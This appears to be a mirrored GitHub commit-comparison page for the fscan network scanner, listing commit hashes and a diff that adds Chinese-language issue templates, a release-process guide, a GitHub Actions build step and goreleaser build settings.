mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
Compare commits
361
Commits
2.0.0
...
v2.2.0-rc.1
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d7dbccab76 | ||
|
|
6eff1d5ccf | ||
|
|
2f7d2d49c6 | ||
|
|
35f3cf1960 | ||
|
|
065ba6fae7 | ||
|
|
6d61b661f4 | ||
|
|
3babff6863 | ||
|
|
d7071b7b8e | ||
|
|
6ae37b8892 | ||
|
|
2b202aa298 | ||
|
|
6d7e6cd394 | ||
|
|
626d8f79bb | ||
|
|
a52e93e84c | ||
|
|
04cae2e42d | ||
|
|
4169eb6ee0 | ||
|
|
63631d6cdf | ||
|
|
4f6bb28138 | ||
|
|
46a6d812a4 | ||
|
|
d4f4e65dec | ||
|
|
a115499793 | ||
|
|
8402be98e3 | ||
|
|
c49c23c7f0 | ||
|
|
5ad914a1bb | ||
|
|
2ab7c4d9b2 | ||
|
|
5c251b123d | ||
|
|
800cc30794 | ||
|
|
8e3cac303d | ||
|
|
4b79cb7a18 | ||
|
|
9d38874a03 | ||
|
|
88c7e4f2be | ||
|
|
e0468ecd35 | ||
|
|
d0295dcb92 | ||
|
|
ade9cd1bff | ||
|
|
6d91b544de | ||
|
|
42092d8664 | ||
|
|
bc46e90d89 | ||
|
|
67f2251da3 | ||
|
|
e6c5e5a9a8 | ||
|
|
0356485595 | ||
|
|
b085df1878 | ||
|
|
8fb66e8e2f | ||
|
|
272b0e28c8 | ||
|
|
28686f845d | ||
|
|
06ba595e32 | ||
|
|
1a7770530d | ||
|
|
2a9a3c36e2 | ||
|
|
70cce742e1 | ||
|
|
02ad8f5334 | ||
|
|
6a1636112f | ||
|
|
45ebe7040e | ||
|
|
15a7670ba2 | ||
|
|
1595c92aed | ||
|
|
517133f72f | ||
|
|
0918eb38a6 | ||
|
|
5b7e72e56e | ||
|
|
52f872b8d1 | ||
|
|
66b175d623 | ||
|
|
6b5bc191ca | ||
|
|
f883944b2b | ||
|
|
683707fcd4 | ||
|
|
b94e8bc4ca | ||
|
|
4198c1abc8 | ||
|
|
68f990d20b | ||
|
|
72042111c6 | ||
|
|
08a87b3128 | ||
|
|
cc1af631f0 | ||
|
|
5078fbc975 | ||
|
|
354ad2e24b | ||
|
|
942f0fa6c3 | ||
|
|
37b77f9c86 | ||
|
|
a02eed0518 | ||
|
|
019d13c9d4 | ||
|
|
c43982f834 | ||
|
|
d6d323854a | ||
|
|
569d21a8bc | ||
|
|
8ec96bfe6d | ||
|
|
8b558b4f12 | ||
|
|
3e4e2db722 | ||
|
|
ac755a9b4a | ||
|
|
ea17b5b1bc | ||
|
|
bfc0e0fb52 | ||
|
|
40b0eee654 | ||
|
|
8d30ee334c | ||
|
|
73cbe803c4 | ||
|
|
9ed6cc95b6 | ||
|
|
a0f0379c6c | ||
|
|
3c7823355d | ||
|
|
1a714f6a0c | ||
|
|
0046817c2e | ||
|
|
e0080555b4 | ||
|
|
bc2a8f653a | ||
|
|
a92df59dfe | ||
|
|
0a28db7371 | ||
|
|
778ba019d5 | ||
|
|
f43e3e3d0a | ||
|
|
a1588a321f | ||
|
|
eb4fa38fea | ||
|
|
c15aa3488b | ||
|
|
218811c38d | ||
|
|
5a884ca6ad | ||
|
|
5942d3bbcb | ||
|
|
c0a9cfd8f5 | ||
|
|
c16aa04e28 | ||
|
|
856eeccd78 | ||
|
|
13f7997d16 | ||
|
|
adb3ac5b74 | ||
|
|
8de7570268 | ||
|
|
3dde0c6a8e | ||
|
|
d4ed0867c9 | ||
|
|
6605c93dd9 | ||
|
|
6bfa05cb45 | ||
|
|
bce0a718ea | ||
|
|
40c3f1423e | ||
|
|
bfd64f78ed | ||
|
|
7063027acf | ||
|
|
639298b7c8 | ||
|
|
f427f04d35 | ||
|
|
05e383d8bf | ||
|
|
a560531e70 | ||
|
|
77827bef66 | ||
|
|
c266912dcb | ||
|
|
2f2b30763c | ||
|
|
72403ebb32 | ||
|
|
4fa8fdc30e | ||
|
|
bf210dd94d | ||
|
|
cb1079598d | ||
|
|
ec10097e76 | ||
|
|
231563e82b | ||
|
|
5af8682d22 | ||
|
|
a42f074b00 | ||
|
|
1ebcd6dc79 | ||
|
|
150e48ba85 | ||
|
|
76a4331fae | ||
|
|
ca4e1ffad3 | ||
|
|
a0fc7881f2 | ||
|
|
bc28df2ed1 | ||
|
|
7459da2b44 | ||
|
|
9d191889d0 | ||
|
|
2e277a51ed | ||
|
|
73b0b0b822 | ||
|
|
d412786228 | ||
|
|
b2e91d9fc0 | ||
|
|
3436d6ad02 | ||
|
|
a0f323a891 | ||
|
|
46e50a021f | ||
|
|
b32ce5dec8 | ||
|
|
2c2ca6ace3 | ||
|
|
db0b53b139 | ||
|
|
4c58843033 | ||
|
|
760c8ea502 | ||
|
|
594f567650 | ||
|
|
6b13b2e84f | ||
|
|
03b21f92f1 | ||
|
|
2674e469b8 | ||
|
|
d4a486763b | ||
|
|
6fe1f11e36 | ||
|
|
6f17deb963 | ||
|
|
820ba6a35b | ||
|
|
5bdfd769f2 | ||
|
|
b6b898532b | ||
|
|
5dd74269a8 | ||
|
|
26d0955ec6 | ||
|
|
a198aeabe5 | ||
|
|
f182732a8b | ||
|
|
b49228a07b | ||
|
|
3af09b7d8a | ||
|
|
379117b07a | ||
|
|
4adb4222dd | ||
|
|
dd8e327a56 | ||
|
|
ad5798d02e | ||
|
|
3c8511e91f | ||
|
|
d5e2c15333 | ||
|
|
9967b34fff | ||
|
|
487681b353 | ||
|
|
b1e67fd7b1 | ||
|
|
ac68df70f7 | ||
|
|
76cbdfb5f6 | ||
|
|
c4378545b9 | ||
|
|
5aa2fd3599 | ||
|
|
faa9f319c8 | ||
|
|
25dc6102ed | ||
|
|
0dc4a6c360 | ||
|
|
2b4a4024b8 | ||
|
|
e58a48ba9b | ||
|
|
a8bd8ca508 | ||
|
|
247459a7f7 | ||
|
|
424c654c43 | ||
|
|
7865038b22 | ||
|
|
64588ab28a | ||
|
|
2d9ea9c1d3 | ||
|
|
a30cd12249 | ||
|
|
c074adb3a9 | ||
|
|
f2475bf97c | ||
|
|
580b067298 | ||
|
|
a010fcbb6c | ||
|
|
1f0d11d93e | ||
|
|
a3c5092f9b | ||
|
|
16e40fe7ed | ||
|
|
f921d81a76 | ||
|
|
a1452eb635 | ||
|
|
e4833fd5af | ||
|
|
9092b09b16 | ||
|
|
d90deb0201 | ||
|
|
d1d242e6a8 | ||
|
|
28a64d60c4 | ||
|
|
124d29a6b3 | ||
|
|
4928b4668a | ||
|
|
5dfd0397d5 | ||
|
|
805af82a1e | ||
|
|
875d128e53 | ||
|
|
36134b7298 | ||
|
|
be3affcedd | ||
|
|
165ac8507d | ||
|
|
0d8f31b72d | ||
|
|
77705118d5 | ||
|
|
7da74ebb52 | ||
|
|
a8b83f90a0 | ||
|
|
a2c56ab106 | ||
|
|
b89e892f14 | ||
|
|
f79b12a23c | ||
|
|
b8cc8ab5dc | ||
|
|
b73996884f | ||
|
|
c58b63a6ac | ||
|
|
e4e3ff1763 | ||
|
|
e962b9171b | ||
|
|
2c4e1d9c28 | ||
|
|
e688b42efe | ||
|
|
1e42d41a1c | ||
|
|
87ceba4d8f | ||
|
|
cb6d67ed7b | ||
|
|
5c8088ff32 | ||
|
|
8170515236 | ||
|
|
f27d9b31aa | ||
|
|
d05641a7fc | ||
|
|
3e04e7801f | ||
|
|
4aaa05f6a4 | ||
|
|
42f8052b96 | ||
|
|
150d62824c | ||
|
|
c3219848ef | ||
|
|
7312da8af8 | ||
|
|
3beb6b42b2 | ||
|
|
18aae783c6 | ||
|
|
8e59c8f09c | ||
|
|
3ae0f306c1 | ||
|
|
cc9d292bdd | ||
|
|
46e0472ec1 | ||
|
|
3dde342d65 | ||
|
|
eb8cda3b7f | ||
|
|
bcb326dbef | ||
|
|
102d100c25 | ||
|
|
b8a591920b | ||
|
|
c94ec76292 | ||
|
|
65b94465fe | ||
|
|
d367be0c68 | ||
|
|
cdbc0e02f3 | ||
|
|
f20aadb745 | ||
|
|
97e9ac7161 | ||
|
|
c6c613a17b | ||
|
|
a245934cf2 | ||
|
|
0235bf5af5 | ||
|
|
e2c8dd8b1f | ||
|
|
e624c3092f | ||
|
|
86b6faec79 | ||
|
|
8f2226987d | ||
|
|
a852bc569f | ||
|
|
2da0804b7f | ||
|
|
235e2aee60 | ||
|
|
af06345aa5 | ||
|
|
75aeee5215 | ||
|
|
a42ee523b0 | ||
|
|
a603e13d3b | ||
|
|
ceede3cd68 | ||
|
|
277ea5d332 | ||
|
|
d13e1952e9 | ||
|
|
df4d39fb1f | ||
|
|
e93b6fc613 | ||
|
|
42482228da | ||
|
|
c004762a8c | ||
|
|
ed69e41001 | ||
|
|
5e06a0b2b7 | ||
|
|
2ce7041c95 | ||
|
|
0954492540 | ||
|
|
ee1d176a8f | ||
|
|
ef70395d7d | ||
|
|
907b92863e | ||
|
|
befaa28bbd | ||
|
|
679c25eb38 | ||
|
|
ad9cafe0ad | ||
|
|
40e8f6621d | ||
|
|
fe1b92cc98 | ||
|
|
0a9c732ee8 | ||
|
|
94121a796f | ||
|
|
fa1d787c84 | ||
|
|
1a5f789ba8 | ||
|
|
57b6d41737 | ||
|
|
1f860f22c8 | ||
|
|
6ba42c8c39 | ||
|
|
016dfa7889 | ||
|
|
1906acf551 | ||
|
|
26525dbb0e | ||
|
|
3529efcb24 | ||
|
|
9e8726e1f8 | ||
|
|
5524300824 | ||
|
|
c62e19ad26 | ||
|
|
7bded7bc31 | ||
|
|
8f5d0caaf2 | ||
|
|
46f9ab84b1 | ||
|
|
04ee3afb07 | ||
|
|
a5738304a1 | ||
|
|
66e52791f7 | ||
|
|
760246b7e0 | ||
|
|
ee8f52c199 | ||
|
|
dfe74fc5b4 | ||
|
|
f06013326f | ||
|
|
4d6b529768 | ||
|
|
bbbc4317df | ||
|
|
1b9c9a00fe | ||
|
|
cfea0afd9c | ||
|
|
70d008ba69 | ||
|
|
eb1b0f32a6 | ||
|
|
e70a1a7bd2 | ||
|
|
8be8f94d82 | ||
|
|
2e3ccee2e0 | ||
|
|
eab41f6018 | ||
|
|
c5dcf2c633 | ||
|
|
d192b7fc2a | ||
|
|
44c1a207dd | ||
|
|
33cb33b1ad | ||
|
|
17c85431ca | ||
|
|
8767c9bae4 | ||
|
|
2bfd58663c | ||
|
|
b7d4e185aa | ||
|
|
497bc2e86b | ||
|
|
9cd137c099 | ||
|
|
1313916081 | ||
|
|
e7d9354284 | ||
|
|
5789017d1a | ||
|
|
878595e341 | ||
|
|
c7b6e21d39 | ||
|
|
e6545417b8 | ||
|
|
3fe6e3eec5 | ||
|
|
5190d63680 | ||
|
|
daec3c1ca4 | ||
|
|
763da727ac | ||
|
|
92217f572f | ||
|
|
bf1b45f407 | ||
|
|
672dfee2ac | ||
|
|
57e0cc06e1 | ||
|
|
375a1e4673 | ||
|
|
8f1c5dbae9 | ||
|
|
92c03e95a9 | ||
|
|
4da94448cb | ||
|
|
2f7d020e9f | ||
|
|
9c0fcd98fe | ||
|
|
1278a0355f | ||
|
|
0152428748 | ||
|
|
bdeabec67e | ||
|
|
c0b7f4ca4f | ||
|
|
ef2c20bf4e | ||
|
|
2481ca4184 | ||
|
|
9ee51a96d8 |
@@ -0,0 +1,2 @@
|
||||
# 统一换行符为 LF
|
||||
* text=auto eol=lf
|
||||
@@ -0,0 +1,123 @@
|
||||
name: 🐛 Bug 报告
|
||||
description: 报告扫描异常、崩溃或错误行为
|
||||
title: "[Bug] "
|
||||
labels: ["bug"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您提交 Bug 报告!请尽可能详细地填写以下信息,这将帮助我们更快定位和修复问题。
|
||||
**请勿直接提交未修改的模板**,未填写有效信息的 Issue 会被直接关闭。
|
||||
|
||||
- type: dropdown
|
||||
id: module
|
||||
attributes:
|
||||
label: 问题模块
|
||||
description: 问题出现在哪个功能模块?
|
||||
options:
|
||||
- 端口扫描 (Port Scan)
|
||||
- 主机存活检测 (Host Discovery)
|
||||
- 服务识别 (Service Detection)
|
||||
- 弱口令爆破 (Brute Force)
|
||||
- POC/漏洞扫描 (POC Scan)
|
||||
- Web指纹识别 (Web Fingerprint)
|
||||
- 代理功能 (Proxy)
|
||||
- 输出/日志 (Output/Logging)
|
||||
- 命令行参数 (CLI Arguments)
|
||||
- 嵌入式 SDK (Embedded SDK)
|
||||
- 其他 (Other)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: severity
|
||||
attributes:
|
||||
label: 严重程度
|
||||
options:
|
||||
- 崩溃/Panic (Crash)
|
||||
- 功能异常 (Malfunction)
|
||||
- 结果不准确 (Inaccurate)
|
||||
- 性能问题 (Performance)
|
||||
- 其他 (Other)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: description
|
||||
attributes:
|
||||
label: 问题描述
|
||||
description: 清晰描述遇到的问题,包括预期行为和实际行为
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: reproduce
|
||||
attributes:
|
||||
label: 复现步骤
|
||||
description: 提供可以复现问题的完整命令(请脱敏 IP/密码)
|
||||
render: shell
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: output
|
||||
attributes:
|
||||
label: 错误输出
|
||||
description: 粘贴相关的错误信息或日志(请脱敏敏感信息)
|
||||
render: shell
|
||||
|
||||
- type: dropdown
|
||||
id: version
|
||||
attributes:
|
||||
label: fscan 版本
|
||||
options:
|
||||
- 2.2.0-rc (dev)
|
||||
- 2.1.3
|
||||
- 2.1.2
|
||||
- 2.1.0
|
||||
- 2.0.x
|
||||
- 1.8.x
|
||||
- 其他/自编译
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: os
|
||||
attributes:
|
||||
label: 操作系统
|
||||
options:
|
||||
- Windows 11
|
||||
- Windows 10
|
||||
- Windows Server 2022
|
||||
- Windows Server 2019
|
||||
- Ubuntu 24.04
|
||||
- Ubuntu 22.04
|
||||
- CentOS 7/8/Stream
|
||||
- Debian 11/12
|
||||
- Kali Linux
|
||||
- macOS 15 (Sequoia)
|
||||
- macOS 14 (Sonoma)
|
||||
- 其他 Linux
|
||||
- 其他
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: arch
|
||||
attributes:
|
||||
label: 系统架构
|
||||
options:
|
||||
- amd64 (x86_64)
|
||||
- arm64 (aarch64)
|
||||
- 386 (x86)
|
||||
- arm
|
||||
- mips/mipsle
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: additional
|
||||
attributes:
|
||||
label: 补充信息
|
||||
description: 其他有助于排查的信息(网络环境、是否使用代理、自编译请注明 Go 版本等)
|
||||
@@ -0,0 +1,10 @@
|
||||
# Issue 模板配置
|
||||
blank_issues_enabled: false
|
||||
|
||||
contact_links:
|
||||
- name: 📖 使用文档 / README
|
||||
url: https://github.com/shadow1ng/fscan/blob/main/README.md
|
||||
about: 提交 Issue 前请先查阅文档,确认不是用法问题
|
||||
- name: 💬 讨论区 / Discussions
|
||||
url: https://github.com/shadow1ng/fscan/discussions
|
||||
about: 使用疑问、经验分享、一般性讨论请使用 Discussions
|
||||
@@ -0,0 +1,111 @@
|
||||
name: 🎯 误报/漏报
|
||||
description: 报告扫描结果不准确的问题
|
||||
title: "[Accuracy] "
|
||||
labels: ["accuracy"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您帮助提高 fscan 的准确性!
|
||||
**请提供对比验证结果**(如 nmap、手动连接等),仅描述"感觉不对"的报告无法处理。
|
||||
|
||||
- type: dropdown
|
||||
id: type
|
||||
attributes:
|
||||
label: 问题类型
|
||||
options:
|
||||
- 误报 (False Positive) - 报告了不存在的问题
|
||||
- 漏报 (False Negative) - 未能检测到存在的问题
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: category
|
||||
attributes:
|
||||
label: 涉及功能
|
||||
options:
|
||||
- 主机存活检测
|
||||
- 端口状态判断
|
||||
- 服务识别
|
||||
- 弱口令检测
|
||||
- POC/漏洞检测
|
||||
- Web指纹识别
|
||||
- 其他
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: command
|
||||
attributes:
|
||||
label: 使用的命令
|
||||
description: 执行的 fscan 命令(请脱敏真实 IP/密码)
|
||||
render: shell
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: fscan-output
|
||||
attributes:
|
||||
label: fscan 输出结果
|
||||
description: 粘贴相关的扫描输出(请脱敏敏感信息)
|
||||
render: shell
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: actual
|
||||
attributes:
|
||||
label: 实际情况及验证方式
|
||||
description: 描述目标的真实状态,以及你通过什么方式验证的(nmap、手动连接、其他工具等)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: target-os
|
||||
attributes:
|
||||
label: 目标操作系统
|
||||
options:
|
||||
- Windows Server
|
||||
- Windows Desktop
|
||||
- Ubuntu/Debian
|
||||
- CentOS/RHEL
|
||||
- 其他 Linux
|
||||
- 网络设备
|
||||
- 容器/Docker
|
||||
- 未知
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: network
|
||||
attributes:
|
||||
label: 网络环境
|
||||
options:
|
||||
- 直连(同网段)
|
||||
- 跨网段/路由
|
||||
- 通过代理 (SOCKS5/HTTP)
|
||||
- VPN
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: version
|
||||
attributes:
|
||||
label: fscan 版本
|
||||
options:
|
||||
- 2.2.0-rc (dev)
|
||||
- 2.1.3
|
||||
- 2.1.2
|
||||
- 2.1.0
|
||||
- 2.0.x
|
||||
- 1.8.x
|
||||
- 其他/自编译
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: suggestion
|
||||
attributes:
|
||||
label: 改进建议(可选)
|
||||
description: 如果您有改进判断逻辑的想法
|
||||
@@ -0,0 +1,68 @@
|
||||
name: ✨ 功能请求
|
||||
description: 提议新功能或改进现有功能
|
||||
title: "[Feature] "
|
||||
labels: ["enhancement"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您的功能建议!请描述清楚使用场景和期望行为。
|
||||
纯 "+1" 类请求请用 Reaction 表达,不要开新 Issue。
|
||||
|
||||
- type: dropdown
|
||||
id: category
|
||||
attributes:
|
||||
label: 功能类别
|
||||
options:
|
||||
- 新扫描能力 (New Scan Capability)
|
||||
- 性能优化 (Performance)
|
||||
- 用户体验 (UX/CLI)
|
||||
- 输出格式 (Output Format)
|
||||
- 配置选项 (Configuration)
|
||||
- 嵌入式 SDK (Embedded SDK)
|
||||
- 集成/API (Integration/API)
|
||||
- 其他 (Other)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: problem
|
||||
attributes:
|
||||
label: 解决什么问题?
|
||||
description: 描述您的实际使用场景和痛点
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: solution
|
||||
attributes:
|
||||
label: 期望的解决方案
|
||||
description: 描述您希望的功能行为,最好包含预期的命令行用法示例
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: alternatives
|
||||
attributes:
|
||||
label: 替代方案(可选)
|
||||
description: 您目前的变通方法,或考虑过的其他方案
|
||||
|
||||
- type: dropdown
|
||||
id: priority
|
||||
attributes:
|
||||
label: 优先级建议
|
||||
description: 您认为这个功能的重要程度
|
||||
options:
|
||||
- 高 - 核心场景缺失,严重影响使用
|
||||
- 中 - 明显改善体验
|
||||
- 低 - 锦上添花
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: checkboxes
|
||||
id: contribution
|
||||
attributes:
|
||||
label: 贡献意愿
|
||||
options:
|
||||
- label: 我愿意尝试实现这个功能并提交 PR
|
||||
@@ -0,0 +1,71 @@
|
||||
name: 🔌 新插件/协议支持
|
||||
description: 请求支持新的服务、协议或漏洞检测
|
||||
title: "[Plugin] "
|
||||
labels: ["plugin", "enhancement"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您的插件请求!fscan 持续扩展对各种服务和协议的支持。
|
||||
提交前请先确认该服务尚未被支持(查看 README 的支持列表)。
|
||||
|
||||
- type: dropdown
|
||||
id: type
|
||||
attributes:
|
||||
label: 请求类型
|
||||
options:
|
||||
- 新服务/协议支持 (New Service)
|
||||
- 新弱口令检测 (New Brute Force)
|
||||
- 新漏洞 POC (New POC)
|
||||
- 新指纹识别 (New Fingerprint)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: input
|
||||
id: service
|
||||
attributes:
|
||||
label: 服务/协议名称
|
||||
description: 例如 ClickHouse、etcd、Consul、Zookeeper
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: input
|
||||
id: port
|
||||
attributes:
|
||||
label: 默认端口
|
||||
description: 例如 9000、2379、8500
|
||||
|
||||
- type: textarea
|
||||
id: description
|
||||
attributes:
|
||||
label: 服务描述与检测思路
|
||||
description: 简要介绍服务用途、在内网中的常见程度,以及如何识别(Banner 特征、认证方式等)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: reference
|
||||
attributes:
|
||||
label: 参考资料(可选)
|
||||
description: 官方文档链接、协议规范、其他工具实现、CVE 编号等
|
||||
|
||||
- type: dropdown
|
||||
id: prevalence
|
||||
attributes:
|
||||
label: 内网常见程度
|
||||
options:
|
||||
- 非常常见(企业环境标配)
|
||||
- 较为常见(经常遇到)
|
||||
- 偶尔遇到
|
||||
- 较少见但高价值
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: checkboxes
|
||||
id: contribution
|
||||
attributes:
|
||||
label: 贡献意愿
|
||||
options:
|
||||
- label: 我愿意尝试实现这个插件并提交 PR
|
||||
- label: 我可以提供测试环境
|
||||
@@ -0,0 +1,64 @@
|
||||
# 发版流程
|
||||
|
||||
## 预检查
|
||||
|
||||
```bash
|
||||
# 1. 确认 CI 通过
|
||||
gh run list --branch dev --limit 3
|
||||
|
||||
# 2. 全平台 dry-run(手动触发 snapshot 模式)
|
||||
gh workflow run release.yml -f snapshot=true
|
||||
|
||||
# 3. 确认版本号一致
|
||||
grep "version" common/globals.go
|
||||
grep "版本" README.md
|
||||
```
|
||||
|
||||
## 发版
|
||||
|
||||
```bash
|
||||
# 1. 确认 release notes 已就绪
|
||||
cat .github/release-notes/v<VERSION>.md
|
||||
|
||||
# 2. 打 tag(在 dev 分支打 RC,在 main 分支打正式版)
|
||||
git tag v<VERSION>
|
||||
git push origin v<VERSION>
|
||||
|
||||
# CI 自动执行:
|
||||
# - goreleaser 全平台构建 + UPX 压缩
|
||||
# - 创建 GitHub Release(RC 自动标记 pre-release)
|
||||
# - 用 .github/release-notes/ 下的文件覆盖 release body
|
||||
```
|
||||
|
||||
## 版本号规范
|
||||
|
||||
| 场景 | 格式 | 分支 | 示例 |
|
||||
|------|------|------|------|
|
||||
| 正式版 | `vX.Y.Z` | main | `v2.2.0` |
|
||||
| 预发布 | `vX.Y.Z-rc` | dev | `v2.2.0-rc` |
|
||||
| 热修复 | `vX.Y.Z` | main | `v2.2.1` |
|
||||
|
||||
## Release Notes 模板
|
||||
|
||||
放在 `.github/release-notes/<tag>.md`,格式参考 `v2.2.0-rc.md`。
|
||||
|
||||
如果文件不存在,goreleaser 会自动生成基于 commit 的 changelog。
|
||||
|
||||
## 正式版发布(RC → 正式)
|
||||
|
||||
```bash
|
||||
# 1. 合并 dev 到 main
|
||||
git checkout main
|
||||
git merge dev
|
||||
git push
|
||||
|
||||
# 2. 更新版本号去掉 -rc
|
||||
# common/globals.go, README.md, README_EN.md
|
||||
|
||||
# 3. 准备正式版 release notes
|
||||
# .github/release-notes/v2.2.0.md
|
||||
|
||||
# 4. 打 tag
|
||||
git tag v2.2.0
|
||||
git push origin v2.2.0
|
||||
```
|
||||
@@ -0,0 +1,91 @@
|
||||
name: '构建和发布'
|
||||
description: 'fscan 可复用构建动作'
|
||||
|
||||
inputs:
|
||||
mode:
|
||||
description: '构建模式: release 或 snapshot'
|
||||
required: true
|
||||
default: 'snapshot'
|
||||
go-version:
|
||||
description: 'Go 版本'
|
||||
required: false
|
||||
default: '1.20'
|
||||
retention-days:
|
||||
description: '产物保留天数'
|
||||
required: false
|
||||
default: '7'
|
||||
release-args:
|
||||
description: '额外的 goreleaser 参数'
|
||||
required: false
|
||||
default: ''
|
||||
|
||||
runs:
|
||||
using: 'composite'
|
||||
steps:
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
env:
|
||||
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||
with:
|
||||
go-version: ${{ inputs.go-version }}
|
||||
cache: true
|
||||
|
||||
|
||||
- name: 下载依赖
|
||||
shell: bash
|
||||
run: |
|
||||
go mod download
|
||||
go mod verify
|
||||
|
||||
- name: 安装 UPX
|
||||
uses: crazy-max/ghaction-upx@v3
|
||||
with:
|
||||
install-only: true
|
||||
|
||||
- name: 使用 GoReleaser 构建
|
||||
uses: goreleaser/goreleaser-action@v6
|
||||
with:
|
||||
distribution: goreleaser
|
||||
version: latest
|
||||
args: release ${{ inputs.mode == 'snapshot' && '--snapshot' || '' }} --clean -f .github/conf/.goreleaser.yml ${{ inputs.release-args }}
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ github.token }}
|
||||
GITHUB_OWNER: ${{ github.repository_owner }}
|
||||
GITHUB_REPO: ${{ github.event.repository.name }}
|
||||
PROJECT_NAME: ${{ github.event.repository.name }}
|
||||
|
||||
- name: 上传产物
|
||||
uses: actions/upload-artifact@v4
|
||||
env:
|
||||
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||
if: always()
|
||||
with:
|
||||
name: build-${{ inputs.mode }}-${{ github.run_id }}
|
||||
path: dist/
|
||||
retention-days: ${{ inputs.retention-days }}
|
||||
|
||||
- name: 生成报告
|
||||
shell: bash
|
||||
if: always()
|
||||
run: |
|
||||
cat >> $GITHUB_STEP_SUMMARY << EOF
|
||||
# 构建报告
|
||||
|
||||
| 项目 | 值 |
|
||||
|------|-----|
|
||||
| 模式 | \`${{ inputs.mode }}\` |
|
||||
| 版本 | \`${GITHUB_REF_NAME}\` |
|
||||
| 提交 | \`${GITHUB_SHA:0:7}\` |
|
||||
| Go | \`$(go version | awk '{print $3}')\` |
|
||||
|
||||
## 构建产物
|
||||
|
||||
$(if [ -d "dist" ]; then
|
||||
echo "- 文件数: $(find dist -type f 2>/dev/null | wc -l)"
|
||||
echo "- 大小: $(du -sh dist 2>/dev/null | cut -f1)"
|
||||
else
|
||||
echo "- 无产物"
|
||||
fi)
|
||||
|
||||
[查看产物](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})
|
||||
EOF
|
||||
+225
-45
@@ -1,64 +1,244 @@
|
||||
project_name: "fscan"
|
||||
|
||||
before:
|
||||
hooks:
|
||||
- go mod tidy
|
||||
- go mod download
|
||||
|
||||
builds:
|
||||
-
|
||||
id: default
|
||||
# 标准版 - 全部插件(全架构)
|
||||
- id: fscan
|
||||
binary: fscan
|
||||
main: .
|
||||
env:
|
||||
- CGO_ENABLED=0
|
||||
goos:
|
||||
- windows
|
||||
- linux
|
||||
- darwin
|
||||
- freebsd
|
||||
- solaris
|
||||
goarch:
|
||||
- amd64
|
||||
- "386"
|
||||
- arm
|
||||
- arm64
|
||||
- mips
|
||||
- mipsle
|
||||
- mips64
|
||||
goarm:
|
||||
- "6"
|
||||
- "7"
|
||||
flags:
|
||||
- -trimpath
|
||||
ldflags:
|
||||
- -s -w
|
||||
goos: [windows, linux, darwin, freebsd, solaris]
|
||||
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
|
||||
goarm: ["5", "6", "7"]
|
||||
gomips: [softfloat]
|
||||
ignore:
|
||||
- goos: darwin
|
||||
goarch: "386"
|
||||
- goos: darwin
|
||||
goarch: arm
|
||||
- goos: darwin
|
||||
goarch: mips
|
||||
- goos: darwin
|
||||
goarch: mips64
|
||||
- goos: darwin
|
||||
goarch: mipsle
|
||||
- goos: windows
|
||||
goarch: arm64
|
||||
- goos: windows
|
||||
goarch: arm
|
||||
- goos: windows
|
||||
goarch: mips
|
||||
- goos: windows
|
||||
goarch: mips64
|
||||
- goos: windows
|
||||
goarch: mipsle
|
||||
- goos: freebsd
|
||||
goarch: mips
|
||||
- goos: freebsd
|
||||
goarch: mips64
|
||||
- goos: freebsd
|
||||
goarch: mipsle
|
||||
- goos: solaris
|
||||
goarch: "386"
|
||||
- goos: solaris
|
||||
goarch: arm
|
||||
- goos: solaris
|
||||
goarch: arm64
|
||||
- goos: solaris
|
||||
goarch: mips
|
||||
- goos: solaris
|
||||
goarch: mips64
|
||||
- goos: solaris
|
||||
goarch: mipsle
|
||||
flags: [-trimpath]
|
||||
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
|
||||
# 无本地插件版 - 排除本地模块(全架构)
|
||||
- id: fscan-nolocal
|
||||
binary: fscan
|
||||
main: .
|
||||
env:
|
||||
- CGO_ENABLED=0
|
||||
goos: [windows, linux, darwin, freebsd, solaris]
|
||||
